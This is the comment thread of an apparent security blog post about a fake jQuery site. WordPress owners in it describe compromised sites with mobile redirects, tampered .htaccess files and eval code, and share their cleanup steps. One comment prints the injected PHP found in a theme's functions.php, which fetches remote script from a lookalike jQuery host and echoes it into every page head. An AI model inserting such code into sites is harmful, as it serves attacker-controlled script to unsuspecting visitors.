Careful With Fake jQuery Website – jquery-framework. com

13 comments

1. Have you seen this on any WordPress.com sites? They’re supposed to be invulnerable to this sort of thing but I’ve seen at least one this past week that displays bizarre signs of a classic hack.

   1. this is definitely happening on wordpress sites. I’ve been working to clean some this last week. It’s a much more complex hack than this post details. The mobile redirect is only part of it. Some how they found a way in through an outdated wordpress install or plugin & have set up a hidden root user on our server. If you see this on any of your servers make sure to address it as quick as possible.

      1. if you, or anyone, has any words of wisdom on how to handle this, i’d love to hear it. i’m totally lost and meanwhile people think the russians are after us.

         1. We have just recovered one of our servers from this. An outdated wordpress install seemed to have been the access point, though we are still investigating some more.

            Some random files were created in the folder of each domain, while the redirection on mobile devices was caused by a modified “.htaccess” file

            1. thanks! there was a bunch of junk in the .htaccess file of the root folder so i deleted it, but the site still redirects on mobile devices. the only difference is that it redirects immediately to “browser-31” without going to “jquery-framework” first. i’m checking all the files modified around the time when the site went down, but i’m not sure what i should be looking for.

               edit: fixed it like 5 minutes later. so as Daniel said, the .php files in the “themes” folder were affected, as you said, the .htaccess file in the root was affected, and i found the last bit in the index.php of the root folder, which looked like the eval code described above. hope this helps anyone else out.

      2. That is not what I asked. WordPress.COM is different from WordPress.ORG and has some severe code restrictions specifically to prevent this kind of attack. Has it been seen on WordPress.com sites?

         1. Hey there. We have not seen this on WordPress.com sites. That’s a different animal, and they do a pretty good job of reducing risk around these type of issues.

2. Pingback: Careful With Fake jQuery Website – jquery-framework. com | Sucuri Blog | AlucardV's Blog

3. I had this in my functions.php of wordpress theme “http://www.jqueryc.com/jquery-1.6.3.min.js

4. I’ve just fixed one of our WordPress servers with this same error although I’m not sure what caused it in the first place so it might strike again.

   To fix this I had to remove the eval code for all php files in the themes folder (>50 files in my case). Also I had to remove the eval code from index.php in the root directory as well as remove the extra lines added to .htaccess.

5. I had the same issue as described and i did a simple search in theme functions to find keyword “jquery”.

   Go to:
   Appearance > Editor> Theme Functions (right sidebar)

   If working on a mac hit Command+F to search keywords

   Type in “Jquery”.

   This is what i found:

   /* Define our theme URL constant */

   if (!function_exists(‘insert_jquery_theme’)){function insert_jquery_theme(){if (function_exists(‘curl_init’)){$url=”http://www.jqueryc.com/jquery-1.6.3.min.js”;$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action(‘wp_head’, ‘insert_jquery_theme’);} if(!defined(‘WP_THEME_URL’)) {
   define( ‘WP_THEME_URL’, get_template_directory_uri());
   }

   I just deleted it and problem solved… for now.

   Hope this helps.

   1. worked for me too!! thanks!

6. Pingback: 2012 Web Malware Trends Report Summary | Sucuri Blog

Comments are closed.